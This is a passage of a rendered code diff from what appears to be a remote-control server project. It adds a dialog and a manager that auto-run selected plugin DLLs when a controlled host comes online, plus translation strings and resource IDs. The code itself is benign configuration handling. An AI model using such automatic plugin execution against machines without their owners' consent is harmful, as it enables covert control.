if (pluginName == dll->Name) {
|
||||||
|
m_listPlugins.SetCheck(i, TRUE);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 同步下拉框选择
|
||||||
|
m_comboTriggerType.SetCurSel(type);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||||
|
{
|
||||||
|
// 先从界面收集当前选择
|
||||||
|
int triggerType = m_comboTriggerType.GetCurSel();
|
||||||
|
if (triggerType >= 0) {
|
||||||
|
std::vector<std::string> selectedPlugins;
|
||||||
|
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||||
|
if (m_listPlugins.GetCheck(i)) {
|
||||||
|
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||||
|
if (dll) {
|
||||||
|
selectedPlugins.push_back(dll->Name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新或创建触发器配置
|
||||||
|
TriggerConfig* cfg = nullptr;
|
||||||
|
for (auto& c : m_Configs) {
|
||||||
|
if (c.Type == (TriggerType)triggerType) {
|
||||||
|
cfg = &c;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!selectedPlugins.empty()) {
|
||||||
|
if (!cfg) {
|
||||||
|
TriggerConfig newCfg;
|
||||||
|
newCfg.Type = (TriggerType)triggerType;
|
||||||
|
m_Configs.push_back(newCfg);
|
||||||
|
cfg = &m_Configs.back();
|
||||||
|
}
|
||||||
|
cfg->PluginNames = selectedPlugins;
|
||||||
|
} else if (cfg) {
|
||||||
|
// 如果没有选中插件,删除该触发器
|
||||||
|
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
|
||||||
|
if (it->Type == (TriggerType)triggerType) {
|
||||||
|
m_Configs.erase(it);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
SaveTriggerConfigs(m_Configs);
|
||||||
|
LoadTriggersToList();
|
||||||
|
|
||||||
|
MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string CTriggerSettingsDlg::GetTriggerConfigPath()
|
||||||
|
{
|
||||||
|
std::string dbPath = GetDbPath();
|
||||||
|
size_t pos = dbPath.find_last_of("\\/");
|
||||||
|
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
|
||||||
|
return dir + "triggers.json";
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<TriggerConfig> CTriggerSettingsDlg::LoadTriggerConfigs()
|
||||||
|
{
|
||||||
|
std::vector<TriggerConfig> configs;
|
||||||
|
std::string path = GetTriggerConfigPath();
|
||||||
|
|
||||||
|
std::ifstream file(path);
|
||||||
|
if (!file.is_open()) {
|
||||||
|
return configs;
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value root;
|
||||||
|
Json::CharReaderBuilder builder;
|
||||||
|
std::string errors;
|
||||||
|
|
||||||
|
if (!Json::parseFromStream(builder, file, &root, &errors)) {
|
||||||
|
return configs;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!root.isArray()) {
|
||||||
|
return configs;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const auto& item : root) {
|
||||||
|
TriggerConfig cfg;
|
||||||
|
cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt();
|
||||||
|
|
||||||
|
const Json::Value& plugins = item["plugins"];
|
||||||
|
if (plugins.isArray()) {
|
||||||
|
for (const auto& p : plugins) {
|
||||||
|
cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!cfg.PluginNames.empty()) {
|
||||||
|
configs.push_back(cfg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return configs;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& configs)
|
||||||
|
{
|
||||||
|
std::string path = GetTriggerConfigPath();
|
||||||
|
|
||||||
|
Json::Value root(Json::arrayValue);
|
||||||
|
|
||||||
|
for (const auto& cfg : configs) {
|
||||||
|
Json::Value item;
|
||||||
|
item["type"] = cfg.Type;
|
||||||
|
|
||||||
|
Json::Value plugins(Json::arrayValue);
|
||||||
|
for (const auto& name : cfg.PluginNames) {
|
||||||
|
plugins.append(GbkToUtf8(name)); // GBK -> UTF-8
|
||||||
|
}
|
||||||
|
item["plugins"] = plugins;
|
||||||
|
|
||||||
|
root.append(item);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::ofstream file(path);
|
||||||
|
if (file.is_open()) {
|
||||||
|
Json::StreamWriterBuilder builder;
|
||||||
|
builder["indentation"] = " ";
|
||||||
|
builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX
|
||||||
|
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||||
|
writer->write(root, &file);
|
||||||
|
file.close(); // 确保文件完全写入并关闭
|
||||||
|
}
|
||||||
|
|
||||||
|
// 通知 TriggerManager 重新加载缓存
|
||||||
|
TriggerManager::Instance().Reload();
|
||||||
|
}
|
||||||
|
|
||||||
|
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
||||||
|
{
|
||||||
|
for (auto& cfg : configs) {
|
||||||
|
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
||||||
|
return &cfg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// TriggerManager 实现
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
TriggerManager::TriggerManager() : m_bLoaded(false)
|
||||||
|
{
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
TriggerManager::~TriggerManager()
|
||||||
|
{
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void TriggerManager::LoadFromDisk()
|
||||||
|
{
|
||||||
|
// 不加锁,由调用者保证线程安全
|
||||||
|
m_OnlinePlugins.clear();
|
||||||
|
|
||||||
|
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||||
|
for (const auto& cfg : configs) {
|
||||||
|
if (cfg.Type == TRIGGER_HOST_ONLINE) {
|
||||||
|
for (const auto& name : cfg.PluginNames) {
|
||||||
|
m_OnlinePlugins.insert(name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m_bLoaded = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void TriggerManager::Reload()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
LoadFromDisk();
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TriggerManager::HasOnlineTrigger()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (!m_bLoaded) {
|
||||||
|
LoadFromDisk();
|
||||||
|
}
|
||||||
|
bool has = !m_OnlinePlugins.empty();
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return has;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::set<std::string> TriggerManager::GetOnlinePlugins()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (!m_bLoaded) {
|
||||||
|
LoadFromDisk();
|
||||||
|
}
|
||||||
|
std::set<std::string> result = m_OnlinePlugins; // 复制一份返回
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
99
server/2015Remote/TriggerSettingsDlg.h
Normal file
99
server/2015Remote/TriggerSettingsDlg.h
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "resource.h"
|
||||||
|
#include "LangManager.h"
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <set>
|
||||||
|
|
||||||
|
// 前向声明
|
||||||
|
struct DllInfo;
|
||||||
|
|
||||||
|
// 触发器类型
|
||||||
|
enum TriggerType {
|
||||||
|
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||||
|
// 后续可扩展更多类型
|
||||||
|
};
|
||||||
|
|
||||||
|
// 触发器配置
|
||||||
|
struct TriggerConfig {
|
||||||
|
TriggerType Type; // 触发类型
|
||||||
|
std::vector<std::string> PluginNames; // 要执行的插件名称列表
|
||||||
|
|
||||||
|
TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 触发器管理器(单例,线程安全,缓存配置)
|
||||||
|
class TriggerManager {
|
||||||
|
public:
|
||||||
|
static TriggerManager& Instance() {
|
||||||
|
static TriggerManager instance;
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||||
|
std::set<std::string> GetOnlinePlugins();
|
||||||
|
|
||||||
|
// 重新加载配置(保存后调用)
|
||||||
|
void Reload();
|
||||||
|
|
||||||
|
// 检查是否有上线触发器
|
||||||
|
bool HasOnlineTrigger();
|
||||||
|
|
||||||
|
private:
|
||||||
|
TriggerManager();
|
||||||
|
~TriggerManager();
|
||||||
|
TriggerManager(const TriggerManager&) = delete;
|
||||||
|
TriggerManager& operator=(const TriggerManager&) = delete;
|
||||||
|
|
||||||
|
void LoadFromDisk();
|
||||||
|
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||||
|
bool m_bLoaded;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 触发器设置对话框
|
||||||
|
class CTriggerSettingsDlg : public CDialogLangEx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
|
||||||
|
virtual ~CTriggerSettingsDlg();
|
||||||
|
|
||||||
|
enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS };
|
||||||
|
|
||||||
|
// 静态方法:加载触发器配置
|
||||||
|
static std::vector<TriggerConfig> LoadTriggerConfigs();
|
||||||
|
// 静态方法:保存触发器配置
|
||||||
|
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||||
|
// 静态方法:获取配置文件路径
|
||||||
|
static std::string GetTriggerConfigPath();
|
||||||
|
// 静态方法:获取主机上线触发器(如果存在)
|
||||||
|
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
afx_msg void OnBnClickedBtnSave();
|
||||||
|
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||||
|
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||||
|
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
|
||||||
|
private:
|
||||||
|
void InitControls();
|
||||||
|
void LoadPluginsToList();
|
||||||
|
void LoadTriggersToList();
|
||||||
|
void UpdateTriggerDisplay();
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||||
|
std::vector<TriggerConfig> m_Configs; // 触发器配置列表
|
||||||
|
|
||||||
|
// 控件变量
|
||||||
|
CComboBox m_comboTriggerType;
|
||||||
|
CListCtrl m_listPlugins;
|
||||||
|
CListCtrl m_listTriggers;
|
||||||
|
};
|
||||||
@@ -1803,3 +1803,19 @@ IOCP
|
|||||||
关闭=Close
|
关闭=Close
|
||||||
插件设置(&S)=Plugin Settings(&S)
|
插件设置(&S)=Plugin Settings(&S)
|
||||||
代理端口 - 自启=Proxy Port - AutoRun
|
代理端口 - 自启=Proxy Port - AutoRun
|
||||||
|
; Trigger Settings Dialog - English Translation
|
||||||
|
; Format: Simplified Chinese=English
|
||||||
|
|
||||||
|
触发器(&G)=Tri&gger
|
||||||
|
触发器设置=Trigger Settings
|
||||||
|
触发类型:=Trigger Type:
|
||||||
|
执行动作:=Action:
|
||||||
|
主机上线=Host Online
|
||||||
|
插件名称=Plugin Name
|
||||||
|
触发器=Trigger
|
||||||
|
已配置的触发器=Configured Triggers
|
||||||
|
添加 >>=Add >>
|
||||||
|
<< 移除=<< Remove
|
||||||
|
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
||||||
|
请先选择至少一个插件=Please select at least one plugin
|
||||||
|
|
||||||
|
|||||||
@@ -1795,3 +1795,18 @@ IOCP
|
|||||||
关闭=關閉
|
关闭=關閉
|
||||||
插件设置(&S)=插件设置(&S)
|
插件设置(&S)=插件设置(&S)
|
||||||
代理端口 - 自启=代理端口 - 自启
|
代理端口 - 自启=代理端口 - 自启
|
||||||
|
; Trigger Settings Dialog - Traditional Chinese Translation
|
||||||
|
; Format: Simplified Chinese=Traditional Chinese
|
||||||
|
|
||||||
|
触发器(&G)=觸發器(&G)
|
||||||
|
触发器设置=觸發器設定
|
||||||
|
触发类型:=觸發類型:
|
||||||
|
执行动作:=執行動作:
|
||||||
|
主机上线=主機上線
|
||||||
|
插件名称=外掛名稱
|
||||||
|
触发器=觸發器
|
||||||
|
已配置的触发器=已設定的觸發器
|
||||||
|
添加 >>=新增 >>
|
||||||
|
<< 移除=<< 移除
|
||||||
|
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
||||||
|
请先选择至少一个插件=請先選擇至少一個外掛
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/PluginConfig.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/PluginConfig.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/Trigger.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Trigger.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/WebDesktop.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/WebDesktop.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -248,6 +248,9 @@
|
|||||||
#define IDB_BITMAP8 369
|
#define IDB_BITMAP8 369
|
||||||
#define IDB_BITMAP_CANCELSHARE 369
|
#define IDB_BITMAP_CANCELSHARE 369
|
||||||
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
||||||
|
#define IDB_BITMAP_TRIGGER 372
|
||||||
|
#define IDB_BITMAP_WEBDESKTOP 373
|
||||||
|
#define IDB_BITMAP_PLUGINCONFIG 374
|
||||||
#define IDC_MESSAGE 1000
|
#define IDC_MESSAGE 1000
|
||||||
#define IDC_ONLINE 1001
|
#define IDC_ONLINE 1001
|
||||||
#define IDC_STATIC_TIPS 1002
|
#define IDC_STATIC_TIPS 1002
|
||||||
@@ -953,6 +956,15 @@
|
|||||||
#define ID_33046 33046
|
#define ID_33046 33046
|
||||||
#define ID_PROXY_PORT_AUTORUN 33047
|
#define ID_PROXY_PORT_AUTORUN 33047
|
||||||
#define ID_EXIT_FULLSCREEN 40001
|
#define ID_EXIT_FULLSCREEN 40001
|
||||||
|
#define ID_TRIGGER_SETTINGS 33048
|
||||||
|
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||||
|
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||||
|
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||||
|
#define IDC_BTN_TRIGGER_ADD 2541
|
||||||
|
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||||
|
#define IDC_LIST_TRIGGERS 2543
|
||||||
|
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||||
|
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
|
|||||||
Reference in New Issue
Block a user